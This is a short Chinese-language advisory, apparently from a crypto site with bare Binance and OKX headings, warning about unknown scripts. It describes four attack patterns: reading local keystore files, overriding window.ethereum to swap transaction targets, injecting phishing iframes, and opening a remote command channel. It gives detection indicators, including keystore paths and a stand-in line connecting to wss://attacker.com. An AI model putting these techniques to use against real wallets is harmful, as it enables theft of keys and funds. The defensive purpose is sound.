币圈运行未知脚本风险极高，可能导致私钥泄露、资产被盗或节点劫持；具体包括：一、读取本地密钥文件；二、伪造RPC劫持交易签名；三、注入Web3钓鱼页面；四、启用远程命令执行通道。
Binance币安：
欧易OKX：
在币圈环境中，运行未知来源的脚本可能导致私钥泄露、资产被转移或节点被劫持。这类操作绕过常规安全验证机制，风险极高。
一、脚本可能直接读取本地密钥文件
部分恶意脚本会尝试访问用户设备中存储的助记词、keystore或私钥文件。一旦成功，攻击者可在后台将敏感信息外传至远程服务器。
1、检查脚本是否包含 fs.readFileSync 或 require('fs') 等文件系统调用关键字。
2、确认脚本是否对 /Users/xxx/Library/Ethereum/keystore（Mac）或 %APPDATA%\\Ethereum\\keystore（Windows）路径发起访问请求。
二、脚本可能伪造RPC接口劫持交易签名
恶意代码可重写浏览器中 window.ethereum 对象的行为，在用户确认签名时静默替换目标地址或金额，导致资金误转至攻击者控制的地址。
1、观察脚本是否执行 Object.defineProperty(window, 'ethereum', {...}) 类似覆盖操作。
2、检测是否调用 provider.request({ method: 'eth_sendTransaction' }) 前未触发可见弹窗提示。
三、脚本可能注入Web3钓鱼页面
该类脚本常动态创建隐藏 iframe 或修改当前页面 DOM，诱导用户在仿冒钱苞界面中输入助记词或私钥，从而完成信息窃取。
1、审查脚本是否使用 document.createElement('iframe') 并设置 src 指向非官方域名。
2、检查是否通过 innerHTML 插入含 input type="password" 的表单元素。
四、脚本可能启用远程命令执行通道
某些脚本会启动 WebSocket 或 fetch 长连接，接收外部指令并执行任意链上操作，例如批量授权代币合约、更改多签阈值等高危动作。
1、识别脚本中是否存在 new WebSocket('wss://attacker.com') 或类似连接初始化语句。
2、排查是否定义了 eval()、Function() 或 setTimeout(..., 0) 动态执行逻辑。
